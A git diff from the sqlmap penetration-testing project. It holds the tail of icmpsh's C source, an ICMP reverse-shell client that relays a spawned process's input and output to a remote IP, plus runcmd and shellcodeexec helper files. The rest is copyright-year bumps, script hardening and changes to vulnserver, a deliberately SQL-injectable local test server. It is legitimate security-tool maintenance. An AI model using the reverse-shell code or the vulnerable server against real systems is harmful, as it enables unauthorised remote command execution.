+ // sending/receiving loop
+ blanks = 0;
+ do {
+
+ switch(status) {
+ case STATUS_SINGLE:
+ // reply with a static string
+ out_buf_size = sprintf(out_buf, "Test1234\n");
+ break;
+ case STATUS_PROCESS_NOT_CREATED:
+ // reply with error message
+ out_buf_size = sprintf(out_buf, "Process was not created\n");
+ break;
+ default:
+ // read data from process via pipe
+ out_buf_size = 0;
+ if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) {
+ if (out_buf_size > 0) {
+ out_buf_size = 0;
+ rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL);
+ if (!rs && GetLastError() != ERROR_IO_PENDING) {
+ out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError());
+ }
+ }
+ } else {
+ out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError());
+ }
+ break;
+ }
+
+ // send request/receive response
+ if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS) {
+ if (status == STATUS_OK) {
+ // write data from response back into pipe
+ WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0);
+ }
+ blanks = 0;
+ } else {
+ // no reply received or error occured
+ blanks++;
+ }
+
+ // wait between requests
+ Sleep(delay);
+
+ } while (status == STATUS_OK && blanks < max_blanks);
+
+ if (status == STATUS_OK) {
+ TerminateProcess(pi.hProcess, 0);
+ }
+
+ return 0;
+}
+
diff --git a/extra/icmpsh/icmpsh.exe_ b/extra/icmpsh/icmpsh.exe_
index a909351bd..4388012ab 100644
Binary files a/extra/icmpsh/icmpsh.exe_ and b/extra/icmpsh/icmpsh.exe_ differ
diff --git a/extra/runcmd/runcmd.exe_ b/extra/runcmd/runcmd.exe_
index 556eabb7b..20cfaa497 100644
Binary files a/extra/runcmd/runcmd.exe_ and b/extra/runcmd/runcmd.exe_ differ
diff --git a/extra/runcmd/src/runcmd.sln b/extra/runcmd/src/runcmd.sln
index 0770582d0..a70c648d0 100644
--- a/extra/runcmd/src/runcmd.sln
+++ b/extra/runcmd/src/runcmd.sln
@@ -1,20 +1,20 @@
-
-Microsoft Visual Studio Solution File, Format Version 9.00
-# Visual Studio 2005
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "runcmd", "runcmd\runcmd.vcproj", "{1C6185A9-871A-4F6E-9B2D-BE4399479784}"
-EndProject
-Global
- GlobalSection(SolutionConfigurationPlatforms) = preSolution
- Debug|Win32 = Debug|Win32
- Release|Win32 = Release|Win32
- EndGlobalSection
- GlobalSection(ProjectConfigurationPlatforms) = postSolution
- {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.ActiveCfg = Debug|Win32
- {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.Build.0 = Debug|Win32
- {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.ActiveCfg = Release|Win32
- {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.Build.0 = Release|Win32
- EndGlobalSection
- GlobalSection(SolutionProperties) = preSolution
- HideSolutionNode = FALSE
- EndGlobalSection
-EndGlobal
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "runcmd", "runcmd\runcmd.vcproj", "{1C6185A9-871A-4F6E-9B2D-BE4399479784}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|Win32 = Debug|Win32
+ Release|Win32 = Release|Win32
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.ActiveCfg = Debug|Win32
+ {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.Build.0 = Debug|Win32
+ {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.ActiveCfg = Release|Win32
+ {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.Build.0 = Release|Win32
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+EndGlobal
diff --git a/extra/runcmd/src/runcmd/runcmd.cpp b/extra/runcmd/src/runcmd/runcmd.cpp
index ab40a0c21..743f2a279 100644
--- a/extra/runcmd/src/runcmd/runcmd.cpp
+++ b/extra/runcmd/src/runcmd/runcmd.cpp
@@ -1,46 +1,46 @@
-/*
- runcmd - a program for running command prompt commands
- Copyright (C) 2010 Miroslav Stampar
- email: miroslav.stampar@gmail.com
-
- This library is free software; you can redistribute it and/or
- modify it under the terms of the GNU Lesser General Public
- License as published by the Free Software Foundation; either
- version 2.1 of the License, or (at your option) any later version.
-
- This library is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
- Lesser General Public License for more details.
-
- You should have received a copy of the GNU Lesser General Public
- License along with this library; if not, write to the Free Software
- Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-*/
-
-#include
-#include
-#include
-#include "stdafx.h"
-#include
-
-using namespace std;
-int main(int argc, char* argv[])
-{
- FILE *fp;
- string cmd;
-
- for( int count = 1; count < argc; count++ )
- cmd += " " + string(argv[count]);
-
- fp = _popen(cmd.c_str(), "r");
-
- if (fp != NULL) {
- char buffer[BUFSIZ];
-
- while (fgets(buffer, sizeof buffer, fp) != NULL)
- fputs(buffer, stdout);
- }
-
- return 0;
-}
+/*
+ runcmd - a program for running command prompt commands
+ Copyright (C) 2010 Miroslav Stampar
+ email: miroslav.stampar@gmail.com
+
+ This library is free software; you can redistribute it and/or
+ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+ version 2.1 of the License, or (at your option) any later version.
+
+ This library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ Lesser General Public License for more details.
+
+ You should have received a copy of the GNU Lesser General Public
+ License along with this library; if not, write to the Free Software
+ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+*/
+
+#include
+#include
+#include
+#include "stdafx.h"
+#include
+
+using namespace std;
+int main(int argc, char* argv[])
+{
+ FILE *fp;
+ string cmd;
+
+ for( int count = 1; count < argc; count++ )
+ cmd += " " + string(argv[count]);
+
+ fp = _popen(cmd.c_str(), "r");
+
+ if (fp != NULL) {
+ char buffer[BUFSIZ];
+
+ while (fgets(buffer, sizeof buffer, fp) != NULL)
+ fputs(buffer, stdout);
+ }
+
+ return 0;
+}
diff --git a/extra/runcmd/src/runcmd/runcmd.vcproj b/extra/runcmd/src/runcmd/runcmd.vcproj
index 928c71606..157e33863 100644
--- a/extra/runcmd/src/runcmd/runcmd.vcproj
+++ b/extra/runcmd/src/runcmd/runcmd.vcproj
@@ -1,225 +1,225 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/extra/runcmd/src/runcmd/stdafx.cpp b/extra/runcmd/src/runcmd/stdafx.cpp
index f5e349538..e191a9156 100644
--- a/extra/runcmd/src/runcmd/stdafx.cpp
+++ b/extra/runcmd/src/runcmd/stdafx.cpp
@@ -1,8 +1,8 @@
-// stdafx.cpp : source file that includes just the standard includes
-// runcmd.pch will be the pre-compiled header
-// stdafx.obj will contain the pre-compiled type information
-
-#include "stdafx.h"
-
-// TODO: reference any additional headers you need in STDAFX.H
-// and not in this file
+// stdafx.cpp : source file that includes just the standard includes
+// runcmd.pch will be the pre-compiled header
+// stdafx.obj will contain the pre-compiled type information
+
+#include "stdafx.h"
+
+// TODO: reference any additional headers you need in STDAFX.H
+// and not in this file
diff --git a/extra/runcmd/src/runcmd/stdafx.h b/extra/runcmd/src/runcmd/stdafx.h
index bdabbfb48..0be0e6ffe 100644
--- a/extra/runcmd/src/runcmd/stdafx.h
+++ b/extra/runcmd/src/runcmd/stdafx.h
@@ -1,17 +1,17 @@
-// stdafx.h : include file for standard system include files,
-// or project specific include files that are used frequently, but
-// are changed infrequently
-//
-
-#pragma once
-
-#ifndef _WIN32_WINNT // Allow use of features specific to Windows XP or later.
-#define _WIN32_WINNT 0x0501 // Change this to the appropriate value to target other versions of Windows.
-#endif
-
-#include
-#include
-
-
-
-// TODO: reference additional headers your program requires here
+// stdafx.h : include file for standard system include files,
+// or project specific include files that are used frequently, but
+// are changed infrequently
+//
+
+#pragma once
+
+#ifndef _WIN32_WINNT // Allow use of features specific to Windows XP or later.
+#define _WIN32_WINNT 0x0501 // Change this to the appropriate value to target other versions of Windows.
+#endif
+
+#include
+#include
+
+
+
+// TODO: reference additional headers your program requires here
diff --git a/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ b/extra/shellcodeexec/windows/shellcodeexec.x32.exe_
index 0cbe5404f..515453c0e 100644
Binary files a/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ and b/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ differ
diff --git a/extra/shutils/blanks.sh b/extra/shutils/blanks.sh
index 147333b29..3ba88a266 100755
--- a/extra/shutils/blanks.sh
+++ b/extra/shutils/blanks.sh
@@ -1,6 +1,6 @@
#!/bin/bash
-# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
# See the file 'LICENSE' for copying permission
# Removes trailing spaces from blank lines inside project files
diff --git a/extra/shutils/drei.sh b/extra/shutils/drei.sh
index 99bccf5c8..c334b972e 100755
--- a/extra/shutils/drei.sh
+++ b/extra/shutils/drei.sh
@@ -1,14 +1,9 @@
#!/bin/bash
-# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
# See the file 'LICENSE' for copying permission
-# Stress test against Python3
+# Stress test against Python3(.14)
-export SQLMAP_DREI=1
-#for i in $(find . -iname "*.py" | grep -v __init__); do python3 -c 'import '`echo $i | cut -d '.' -f 2 | cut -d '/' -f 2- | sed 's/\//./g'`''; done
-for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3 -m compileall $i | sed 's/Compiling/Checking/g'; done
-unset SQLMAP_DREI
+for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3.14 -m compileall $i | sed 's/Compiling/Checking/g'; done
source `dirname "$0"`"/junk.sh"
-
-# for i in $(find . -iname "*.py" | grep -v __init__); do timeout 10 pylint --py3k $i; done 2>&1 | grep -v -E 'absolute_import|No config file'
diff --git a/extra/shutils/duplicates.py b/extra/shutils/duplicates.py
index ac3caf88d..5de6e357e 100755
--- a/extra/shutils/duplicates.py
+++ b/extra/shutils/duplicates.py
@@ -1,6 +1,6 @@
#!/usr/bin/env python
-# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
# See the file 'LICENSE' for copying permission
# Removes duplicate entries in wordlist like files
diff --git a/extra/shutils/junk.sh b/extra/shutils/junk.sh
index 61365a754..544ccf121 100755
--- a/extra/shutils/junk.sh
+++ b/extra/shutils/junk.sh
@@ -1,6 +1,6 @@
#!/bin/bash
-# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
# See the file 'LICENSE' for copying permission
find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null
diff --git a/extra/shutils/pycodestyle.sh b/extra/shutils/pycodestyle.sh
index 2302268e4..8b3f0121f 100755
--- a/extra/shutils/pycodestyle.sh
+++ b/extra/shutils/pycodestyle.sh
@@ -1,6 +1,6 @@
#!/bin/bash
-# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
# See the file 'LICENSE' for copying permission
# Runs pycodestyle on all python files (prerequisite: pip install pycodestyle)
diff --git a/extra/shutils/pydiatra.sh b/extra/shutils/pydiatra.sh
index 75c196077..20c62373d 100755
--- a/extra/shutils/pydiatra.sh
+++ b/extra/shutils/pydiatra.sh
@@ -1,6 +1,6 @@
#!/bin/bash
-# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
# See the file 'LICENSE' for copying permission
# Runs py3diatra on all python files (prerequisite: pip install pydiatra)
diff --git a/extra/shutils/pyflakes.sh b/extra/shutils/pyflakes.sh
index d8649cff1..cbe37a7a0 100755
--- a/extra/shutils/pyflakes.sh
+++ b/extra/shutils/pyflakes.sh
@@ -1,6 +1,6 @@
#!/bin/bash
-# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
# See the file 'LICENSE' for copying permission
# Runs pyflakes on all python files (prerequisite: apt-get install pyflakes)
diff --git a/extra/shutils/pypi.sh b/extra/shutils/pypi.sh
index 896985c91..3cdbdf5d7 100755
--- a/extra/shutils/pypi.sh
+++ b/extra/shutils/pypi.sh
@@ -1,4 +1,6 @@
#!/bin/bash
+set -euo pipefail
+IFS=$'\n\t'
if [ ! -f ~/.pypirc ]; then
echo "File ~/.pypirc is missing"
@@ -9,14 +11,15 @@ declare -x SCRIPTPATH="${0}"
SETTINGS="${SCRIPTPATH%/*}/../../lib/core/settings.py"
VERSION=$(cat $SETTINGS | grep -E "^VERSION =" | cut -d '"' -f 2 | cut -d '.' -f 1-3)
TYPE=pip
-TMP_DIR=/tmp/pypi
-mkdir $TMP_DIR
-cd $TMP_DIR
-cat > $TMP_DIR/setup.py << EOF
+TMP_DIR="$(mktemp -d -t pypi.XXXXXXXX)"
+cleanup() { rm -rf -- "${TMP_DIR:?}"; }
+trap cleanup EXIT
+cd "$TMP_DIR"
+cat > "$TMP_DIR/setup.py" << EOF
#!/usr/bin/env python
"""
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -68,7 +71,7 @@ cat > sqlmap/__init__.py << EOF
#!/usr/bin/env python
"""
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -82,7 +85,7 @@ cat > README.rst << "EOF"
sqlmap
======
-|Python 2.6|2.7|3.x| |License| |X|
+|Python 2.7|3.x| |License| |X|
sqlmap is an open source penetration testing tool that automates the
process of detecting and exploiting SQL injection flaws and taking over
@@ -123,7 +126,7 @@ If you prefer fetching daily updates, you can download sqlmap by cloning the
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap works out of the box with
-`Python `__ version **2.6**, **2.7** and
+`Python `__ version **2.7** and
**3.x** on any platform.
Usage
@@ -164,7 +167,7 @@ Links
- Demos: http://www.youtube.com/user/inquisb/videos
- Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
-.. |Python 2.6|2.7|3.x| image:: https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg
+.. |Python 2.7|3.x| image:: https://img.shields.io/badge/python-2.7|3.x-yellow.svg
:target: https://www.python.org/
.. |License| image:: https://img.shields.io/badge/license-GPLv2-red.svg
:target: https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE
@@ -176,8 +179,14 @@ Links
EOF
sed -i "s/^VERSION =.*/VERSION = \"$VERSION\"/g" sqlmap/lib/core/settings.py
sed -i "s/^TYPE =.*/TYPE = \"$TYPE\"/g" sqlmap/lib/core/settings.py
-for file in $(find sqlmap -type f | grep -v -E "\.(git|yml)"); do echo include $file >> MANIFEST.in; done
+: > MANIFEST.in
+while IFS= read -r -d '' file; do
+ case "$file" in
+ *.git|*.yml) continue ;;
+ esac
+ echo "include $file" >> MANIFEST.in
+done < <(find sqlmap -type f -print0)
python setup.py sdist bdist_wheel
twine check dist/*
twine upload --config-file=~/.pypirc dist/*
-rm -rf $TMP_DIR
+rm -rf "$TMP_DIR"
diff --git a/extra/vulnserver/__init__.py b/extra/vulnserver/__init__.py
index ba25c56a2..bcac84163 100644
--- a/extra/vulnserver/__init__.py
+++ b/extra/vulnserver/__init__.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py
index f5d9f77ab..769108f92 100644
--- a/extra/vulnserver/vulnserver.py
+++ b/extra/vulnserver/vulnserver.py
@@ -3,7 +3,7 @@
"""
vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes)
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -11,8 +11,10 @@ from __future__ import print_function
import base64
import json
+import random
import re
import sqlite3
+import string
import sys
import threading
import traceback
@@ -49,9 +51,70 @@ SCHEMA = """
);
INSERT INTO users (id, name, surname) VALUES (1, 'luther', 'blisset');
INSERT INTO users (id, name, surname) VALUES (2, 'fluffy', 'bunny');
- INSERT INTO users (id, name, surname) VALUES (3, 'wu', '179ad45c6ce2cb97cf1029e212046e81');
- INSERT INTO users (id, name, surname) VALUES (4, 'sqlmap/1.0-dev (https://sqlmap.org)', 'user agent header');
- INSERT INTO users (id, name, surname) VALUES (5, NULL, 'nameisnull');
+ INSERT INTO users (id, name, surname) VALUES (3, 'wu', 'ming');
+ INSERT INTO users (id, name, surname) VALUES (4, NULL, 'nameisnull');
+ INSERT INTO users (id, name, surname) VALUES (5, 'mark', 'lewis');
+ INSERT INTO users (id, name, surname) VALUES (6, 'ada', 'lovelace');
+ INSERT INTO users (id, name, surname) VALUES (7, 'grace', 'hopper');
+ INSERT INTO users (id, name, surname) VALUES (8, 'alan', 'turing');
+ INSERT INTO users (id, name, surname) VALUES (9, 'margaret','hamilton');
+ INSERT INTO users (id, name, surname) VALUES (10, 'donald', 'knuth');
+ INSERT INTO users (id, name, surname) VALUES (11, 'tim', 'bernerslee');
+ INSERT INTO users (id, name, surname) VALUES (12, 'linus', 'torvalds');
+ INSERT INTO users (id, name, surname) VALUES (13, 'ken', 'thompson');
+ INSERT INTO users (id, name, surname) VALUES (14, 'dennis', 'ritchie');
+ INSERT INTO users (id, name, surname) VALUES (15, 'barbara', 'liskov');
+ INSERT INTO users (id, name, surname) VALUES (16, 'edsger', 'dijkstra');
+ INSERT INTO users (id, name, surname) VALUES (17, 'john', 'mccarthy');
+ INSERT INTO users (id, name, surname) VALUES (18, 'leslie', 'lamport');
+ INSERT INTO users (id, name, surname) VALUES (19, 'niklaus', 'wirth');
+ INSERT INTO users (id, name, surname) VALUES (20, 'bjarne', 'stroustrup');
+ INSERT INTO users (id, name, surname) VALUES (21, 'guido', 'vanrossum');
+ INSERT INTO users (id, name, surname) VALUES (22, 'brendan', 'eich');
+ INSERT INTO users (id, name, surname) VALUES (23, 'james', 'gosling');
+ INSERT INTO users (id, name, surname) VALUES (24, 'andrew', 'tanenbaum');
+ INSERT INTO users (id, name, surname) VALUES (25, 'yukihiro','matsumoto');
+ INSERT INTO users (id, name, surname) VALUES (26, 'radia', 'perlman');
+ INSERT INTO users (id, name, surname) VALUES (27, 'katherine','johnson');
+ INSERT INTO users (id, name, surname) VALUES (28, 'hady', 'lamarr');
+ INSERT INTO users (id, name, surname) VALUES (29, 'frank', 'miller');
+ INSERT INTO users (id, name, surname) VALUES (30, 'john', 'steward');
+
+ CREATE TABLE creds (
+ user_id INTEGER,
+ password_hash TEXT,
+ FOREIGN KEY (user_id) REFERENCES users(id)
+ );
+ INSERT INTO creds (user_id, password_hash) VALUES (1, 'db3a16990a0008a3b04707fdef6584a0');
+ INSERT INTO creds (user_id, password_hash) VALUES (2, '4db967ce67b15e7fb84c266a76684729');
+ INSERT INTO creds (user_id, password_hash) VALUES (3, 'f5a2950eaa10f9e99896800eacbe8275');
+ INSERT INTO creds (user_id, password_hash) VALUES (4, NULL);
+ INSERT INTO creds (user_id, password_hash) VALUES (5, '179ad45c6ce2cb97cf1029e212046e81');
+ INSERT INTO creds (user_id, password_hash) VALUES (6, '0f1e2d3c4b5a69788796a5b4c3d2e1f0');
+ INSERT INTO creds (user_id, password_hash) VALUES (7, 'a1b2c3d4e5f60718293a4b5c6d7e8f90');
+ INSERT INTO creds (user_id, password_hash) VALUES (8, '1a2b3c4d5e6f708192a3b4c5d6e7f809');
+ INSERT INTO creds (user_id, password_hash) VALUES (9, '9f8e7d6c5b4a3928170605f4e3d2c1b0');
+ INSERT INTO creds (user_id, password_hash) VALUES (10, '3c2d1e0f9a8b7c6d5e4f30291807f6e5');
+ INSERT INTO creds (user_id, password_hash) VALUES (11, 'b0c1d2e3f405162738495a6b7c8d9eaf');
+ INSERT INTO creds (user_id, password_hash) VALUES (12, '6e5d4c3b2a190807f6e5d4c3b2a1908f');
+ INSERT INTO creds (user_id, password_hash) VALUES (13, '11223344556677889900aabbccddeeff');
+ INSERT INTO creds (user_id, password_hash) VALUES (14, 'ffeeddccbbaa00998877665544332211');
+ INSERT INTO creds (user_id, password_hash) VALUES (15, '1234567890abcdef1234567890abcdef');
+ INSERT INTO creds (user_id, password_hash) VALUES (16, 'abcdef1234567890abcdef1234567890');
+ INSERT INTO creds (user_id, password_hash) VALUES (17, '0a1b2c3d4e5f60718a9b0c1d2e3f4051');
+ INSERT INTO creds (user_id, password_hash) VALUES (18, '51f04e3d2c1b0a9871605f4e3d2c1b0a');
+ INSERT INTO creds (user_id, password_hash) VALUES (19, '89abcdef0123456789abcdef01234567');
+ INSERT INTO creds (user_id, password_hash) VALUES (20, '76543210fedcba9876543210fedcba98');
+ INSERT INTO creds (user_id, password_hash) VALUES (21, '13579bdf2468ace013579bdf2468ace0');
+ INSERT INTO creds (user_id, password_hash) VALUES (22, '02468ace13579bdf02468ace13579bdf');
+ INSERT INTO creds (user_id, password_hash) VALUES (23, 'deadbeefdeadbeefdeadbeefdeadbeef');
+ INSERT INTO creds (user_id, password_hash) VALUES (24, 'cafebabecafebabecafebabecafebabe');
+ INSERT INTO creds (user_id, password_hash) VALUES (25, '00112233445566778899aabbccddeeff');
+ INSERT INTO creds (user_id, password_hash) VALUES (26, 'f0e1d2c3b4a5968778695a4b3c2d1e0f');
+ INSERT INTO creds (user_id, password_hash) VALUES (27, '7f6e5d4c3b2a190807f6e5d4c3b2a190');
+ INSERT INTO creds (user_id, password_hash) VALUES (28, '908f7e6d5c4b3a291807f6e5d4c3b2a1');
+ INSERT INTO creds (user_id, password_hash) VALUES (29, '3049b791fa83e2f42f37bae18634b92d');
+ INSERT INTO creds (user_id, password_hash) VALUES (30, 'd59a348f90d757c7da30418773424b5e');
"""
LISTEN_ADDRESS = "localhost"
@@ -62,11 +125,15 @@ _cursor = None
_lock = None
_server = None
_alive = False
+_csrf_token = None
def init(quiet=False):
global _conn
global _cursor
global _lock
+ global _csrf_token
+
+ _csrf_token = "".join(random.sample(string.ascii_letters + string.digits, 20))
_conn = sqlite3.connect(":memory:", isolation_level=None, check_same_thread=False)
_cursor = _conn.cursor()
@@ -131,6 +198,28 @@ class ReqHandler(BaseHTTPRequestHandler):
self.url, self.params = path, params
+ if self.url == "/csrf":
+ if self.params.get("csrf_token") == _csrf_token:
+ self.url = "/"
+ else:
+ self.send_response(OK)
+ self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
+ self.end_headers()
+
+ form = (
+ ""
+ "CSRF protection check
"
+ ""
+ ""
+ ) % _csrf_token
+
+ self.wfile.write(form.encode(UNICODE_ENCODING))
+ return
+
if self.url == '/':
if not any(_ in self.params for _ in ("id", "query")):
self.send_response(OK)
@@ -139,7 +228,7 @@ class ReqHandler(BaseHTTPRequestHandler):
self.end_headers()
self.wfile.write(b"vulnserverGET:
link
POST:
")
else:
- code, output = OK, ""
+ code, output = OK, ""
try:
if self.params.get("echo", ""):
@@ -177,6 +266,11 @@ class ReqHandler(BaseHTTPRequestHandler):
else:
output += "no results found"
+ if not results:
+ output = "No results" + output
+ else:
+ output = "Results" + output
+
output += ""
except Exception as ex:
code = INTERNAL_SERVER_ERROR
diff --git a/lib/__init__.py b/lib/__init__.py
index ba25c56a2..bcac84163 100644
--- a/lib/__init__.py
+++ b/lib/__init__.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/lib/controller/__init__.py b/lib/controller/__init__.py
index ba25c56a2..bcac84163 100644
--- a/lib/controller/__init__.py
+++ b/lib/controller/__init__.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/lib/controller/action.py b/lib/controller/action.py
index 434c33ed2..a1413a622 100644
--- a/lib/controller/action.py
+++ b/lib/controller/action.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/lib/controller/checks.py b/lib/controller/checks.py
index 49b4c800d..9e9f1f4fd 100644
--- a/lib/controller/checks.py
+++ b/lib/controller/checks.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -554,7 +554,7 @@ def checkSqlInjection(place, parameter, value):
injectable = True
- elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
+ elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.titles, kb.nullConnection)):
originalSet = set(getFilteredPageContent(kb.pageTemplate, True, "\n").split("\n"))
trueSet = set(getFilteredPageContent(truePage, True, "\n").split("\n"))
falseSet = set(getFilteredPageContent(falsePage, True, "\n").split("\n"))
@@ -580,7 +580,7 @@ def checkSqlInjection(place, parameter, value):
break
if injectable:
- if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
+ if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.titles, kb.nullConnection)):
if all((falseCode, trueCode)) and falseCode != trueCode and trueCode != kb.heuristicCode:
suggestion = conf.code = trueCode
@@ -1095,6 +1095,8 @@ def heuristicCheckSqlInjection(place, parameter):
errMsg += "int.TryParse(Request.QueryString[\"%s\"], out %s)" % (parameter, parameter)
elif platform == WEB_PLATFORM.JSP:
errMsg += "%s=Integer.parseInt(request.getParameter(\"%s\"))" % (parameter, parameter)
+ elif platform == WEB_PLATFORM.CFM:
+ errMsg += "%s=Val(url.%s)" % (parameter, parameter)
else:
errMsg += "$%s=intval($_REQUEST[\"%s\"])" % (parameter, parameter)
@@ -1134,15 +1136,18 @@ def heuristicCheckSqlInjection(place, parameter):
if conf.beep:
beep()
- for match in re.finditer(FI_ERROR_REGEX, page or ""):
- if randStr1.lower() in match.group(0).lower():
- infoMsg = "heuristic (FI) test shows that %sparameter '%s' might be vulnerable to file inclusion (FI) attacks" % ("%s " % paramType if paramType != parameter else "", parameter)
- logger.info(infoMsg)
+ try:
+ for match in re.finditer(FI_ERROR_REGEX, page or ""):
+ if randStr1.lower() in match.group(0).lower():
+ infoMsg = "heuristic (FI) test shows that %sparameter '%s' might be vulnerable to file inclusion (FI) attacks" % ("%s " % paramType if paramType != parameter else "", parameter)
+ logger.info(infoMsg)
- if conf.beep:
- beep()
+ if conf.beep:
+ beep()
- break
+ break
+ except (SystemError, RuntimeError) as ex:
+ logger.debug("Skipping FI heuristic due to regex failure: %s", getSafeExString(ex))
kb.disableHtmlDecoding = False
kb.heuristicMode = False
@@ -1372,6 +1377,7 @@ def checkWaf():
kb.choices.redirect = REDIRECTION.YES
kb.resendPostOnRedirect = False
conf.timeout = IPS_WAF_CHECK_TIMEOUT
+ kb.checkWafMode = True
try:
retVal = (Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True, raise404=False, disableTampering=True)[1] or 0) < IPS_WAF_CHECK_RATIO
@@ -1379,6 +1385,7 @@ def checkWaf():
retVal = True
finally:
kb.matchRatio = None
+ kb.checkWafMode = False
conf.timeout = popValue()
kb.resendPostOnRedirect = popValue()
diff --git a/lib/controller/controller.py b/lib/controller/controller.py
